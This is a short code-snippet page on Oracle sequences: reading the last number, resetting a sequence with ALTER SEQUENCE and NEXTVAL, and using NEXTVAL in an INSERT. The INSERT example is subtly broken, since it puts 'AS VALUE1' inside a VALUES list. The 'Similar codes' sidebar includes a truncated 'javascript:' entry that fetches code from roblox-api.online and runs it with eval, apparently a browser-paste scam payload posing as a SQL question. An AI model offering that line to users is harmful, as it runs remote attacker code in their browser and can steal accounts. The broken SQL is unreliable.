Oracle alter sequence nextval

SELECT LAST_NUMBER FROM ALL_SEQUENCES WHERE SEQUENCE_NAME = 'seq_name';

ALTER SEQUENCE seq_name INCREMENT BY 100;	-- Value to reach desired value - 1
SELECT seq_name.nextval FROM dual;			-- Reinitialize value to desired
ALTER SEQUENCE seq_name INCREMENT BY 1;		-- Back to init step

Select nextval from sequence oracle

SELECT schema.seq_name.NEXTVAL FROM dual;

INSERT INTO table_name (VALUE1) VALUES (
	schema.seq_name.NEXTVAL AS VALUE1
);

Source: dba-oracle.com

Similar codes

0 vote113 views1 answer
Mysql repair a table
SQL
6 votes124 views2 answers
Postgresql restore from dump
SQL
0 vote124 views1 answer
Wincc 7.4 to sql stackoverflow
SQL
0 vote123 views1 answer
Update sql sintax
SQL
4 votes113 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
0 vote117 views1 answer
What is database username and password in mysqliconnect
SQL
0 vote118 views1 answer
Oracle character index
SQL
0 vote73 views1 answer
Sql count how many times a value appears
SQL
0 vote123 views1 answer
Hex string sql becomes int64
SQL
0 vote107 views1 answer
Add column in sql server ubuntu
SQL